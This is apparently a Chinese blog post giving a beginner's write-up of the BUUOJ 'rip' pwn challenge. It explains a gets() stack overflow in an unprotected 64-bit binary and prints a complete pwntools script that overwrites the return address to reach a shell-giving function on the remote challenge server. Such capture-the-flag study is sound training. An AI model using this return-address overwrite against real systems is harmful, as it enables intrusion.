zoukankan      html  css  js  c++  java
  • rip-buuoj

    前言

    今天开始学pwn,以练促学,学以致用,加油加油

    0x01

    拿到文件,首先检查一下是多少位的,如图

    可以看到是64位的文件

    检查是否有保护,如图

    看到没有任何保护

    0x02

    ida分析一下函数的逻辑

    进入到反汇编如下,代码逻辑就是让我们输入,然后结束,我们主要看一下gets,因为gets有栈溢出漏洞

    我们发现输入的地址空间大小为15,然后就执行函数返回地址,那么我们直接在15后将系统命令函数地址填入即可,或者直接写函数的名称,然后取函数地址也可以

    0x03

    exp

    from pwn import *
    
    context(os="linux", arch="amd64", log_level="debug")
    elf = ELF("pwn1")
    system_addr = elf.symbols["fun"]
    content = 0
    def main():
        if content == 1:
            p = process("pwn1")
        else:
            p = remote("node3.buuoj.cn",29922)
        
        payload = b'a'*15 + p64(system_addr)
    
        p.sendline(payload)
    
        p.interactive()
    
    main()
    
    

    运行结果

    拿到flag

  • 相关阅读:
    java
    java
    Java hashCode() 和 equals()
    Python可变参数*和**
    Hadoop Mapreduce分区、分组、二次排序
    Java 内部类
    java valueOf()函数
    java接口和抽象类
    Java instanceof运算符
    JAVA ==号和equals()的区别
  • 原文地址:https://www.cnblogs.com/Jleixin/p/13307869.html
Copyright © 2011-2022 走看看